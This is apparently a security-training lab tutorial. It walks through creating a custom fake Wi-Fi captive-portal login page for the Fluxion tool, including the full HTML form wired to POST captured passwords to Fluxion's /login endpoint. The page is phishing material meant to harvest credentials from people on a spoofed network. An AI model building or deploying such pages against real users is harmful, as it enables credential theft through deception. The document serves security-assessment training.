Create a Custom Fluxion HTML Login Page

Introduction

Fluxion is a powerful security auditing and social-engineering research tool. One of its most well-known features is the Captive Portal attack, which creates a fake Wi-Fi access point and login page to capture credentials. While Fluxion comes with several pre-built login pages, creating a custom one can make your social-engineering attempts much more convincing and tailored to a specific target.

In this lab, you will learn the step-by-step process of creating your own custom HTML login page and integrating it into Fluxion. You will navigate Fluxion's directory structure, create a new site, write a basic HTML login form, and ensure it communicates correctly with the Fluxion backend.

Navigate to 'attacks/Captive Portal/sites'

In this step, you will navigate to the directory where Fluxion stores its captive portal templates. Understanding this directory structure is the first step in adding your own custom page. All operations will start from the ~/project directory.

First, let's move into the fluxion directory that was cloned for you during the setup process.

cd ~/project/fluxion

Now, navigate deeper into the directory structure to find the captive portal sites.

cd attacks/Captive\ Portal/sites/

Note the use of a backslash \ to escape the space in the directory name Captive Portal.

Finally, list the contents of this directory to see the existing portal templates. This will give you an idea of how they are organized.

ls -l

You should see a list of directories, each representing a different login page template.

total 80
drwxr-xr-x 2 labex labex 4096 Dec 12 12:00 ASUS_dark_desktop
drwxr-xr-x 2 labex labex 4096 Dec 12 12:00 Brand_Generic_Alternative_Login_EN
drwxr-xr-x 2 labex labex 4096 Dec 12 12:00 Brand_Generic_Login_EN
drwxr-xr-x 2 labex labex 4096 Dec 12 12:00 D-Link_EN
drwxr-xr-x 2 labex labex 4096 Dec 12 12:00 Linksys_EN
... (and many others)

You are now in the correct location to create your own portal.

Create a New Directory for Your Custom Portal

In this step, you will create a dedicated directory for your new custom portal. Fluxion identifies available portals by scanning for directories within the sites folder. Each directory must contain an index.html file to be recognized as a valid portal.

From your current location (~/project/fluxion/attacks/Captive Portal/sites/), use the mkdir command to create a new directory. Let's name it MyCustomPortal.

mkdir MyCustomPortal

After creating the directory, you can verify that it exists by listing the contents of the sites directory again.

ls

You should see MyCustomPortal among the other portal directories.

ASUS_dark_desktop
Brand_Generic_Alternative_Login_EN
Brand_Generic_Login_EN
...
MyCustomPortal
...

This new directory will house all the files for your custom login page, starting with the main index.html file.

In this step, you will create the core file for your portal: index.html. This file will contain the HTML structure for a simple login form that will be presented to the user.

First, navigate into your newly created directory.

cd MyCustomPortal

Now, use the nano text editor to create and edit the index.html file.

nano index.html

Inside the nano editor, paste the following basic HTML code. This code creates a simple page with a title, a header, and a form with a password field and a submit button.

<!DOCTYPE html>
<html>
  <head>
    <title>Network Login</title>
  </head>
  <body>
    <h1>Please log in to continue</h1>
    <form>
      <p>Password:</p>
      <input type="password" name="pass" />
      <br /><br />
      <input type="submit" value="Login" />
    </form>
  </body>
</html>

After pasting the code, save the file and exit nano by pressing Ctrl+X, then Y, and finally Enter.

You have now created the visual part of your login page. In the next step, you will configure it to correctly send the captured data to Fluxion.

In this step, you will modify the HTML form to ensure it correctly communicates with the Fluxion backend. For Fluxion to intercept the credentials, the form must submit its data to a specific path (/login) using a specific method (POST).

Open the index.html file again with nano.

nano index.html

Locate the <form> tag. You need to add two attributes to it: method="POST" and action="/login". The method="POST" attribute tells the browser to send the form data in the body of the HTTP request, and action="/login" specifies the endpoint where the data should be sent. Fluxion's web server listens on this endpoint to capture the credentials.

Modify your index.html file to look like this:

<!DOCTYPE html>
<html>
  <head>
    <title>Network Login</title>
  </head>
  <body>
    <h1>Please log in to continue</h1>
    <form method="POST" action="/login">
      <p>Password:</p>
      <input type="password" name="pass" />
      <br /><br />
      <input type="submit" value="Login" />
    </form>
  </body>
</html>

Notice the changes in the <form> tag. The name="pass" attribute on the input field is also important, as it's the key Fluxion uses to identify the submitted password.

Save the file and exit nano (Ctrl+X, Y, Enter). Your custom portal is now functionally complete and ready to be used by Fluxion.

Relaunch Fluxion and Select Your Custom Portal

In this final step, you will launch Fluxion to confirm that it recognizes your newly created custom portal.

First, navigate back to the main fluxion directory.

cd ~/project/fluxion

Now, run the main Fluxion script with sudo privileges. Administrative rights are required for network operations.

sudo ./fluxion.sh

On the first run, Fluxion may perform a dependency check. If it prompts you to install missing tools, press Enter to proceed. Once the checks are complete, you will be presented with the main menu.

Select your language (e.g., enter 1 for English).
From the attack menu, choose Captive Portal.

Fluxion will then scan the attacks/Captive Portal/sites/ directory and present you with a list of available portals. Scroll through this list, and you should see your MyCustomPortal as one of the options.

You can select it to confirm it works. Since this is a virtual environment without a physical wireless card, you cannot complete the attack, but seeing your portal in the list confirms you have successfully integrated it.

You can exit Fluxion at any time by pressing Ctrl+C.

Summary

Congratulations! You have successfully created and integrated a custom HTML login page into Fluxion.

In this lab, you learned how to:

Navigate Fluxion's internal directory structure to locate the captive portal sites.
Create a new directory to house your custom portal files.
Write a basic index.html file containing a login form.
Critically configure the form to POST data to the /login endpoint, enabling Fluxion to capture credentials.
Launch Fluxion and verify that your custom portal is recognized and available for use in a Captive Portal attack.

This skill allows you to create much more targeted and believable login pages for your security assessments, significantly increasing the potential effectiveness of your social-engineering engagements. You can further enhance your pages by adding CSS for styling and JavaScript for dynamic content.

Create a Custom HTML Login Page for Fluxion

Introduction

Navigate to 'attacks/Captive Portal/sites'

Create a New Directory for Your Custom Portal

Create an 'index.html' File with a Login Form

Ensure the Form POSTs to '/login'

Relaunch Fluxion and Select Your Custom Portal

Summary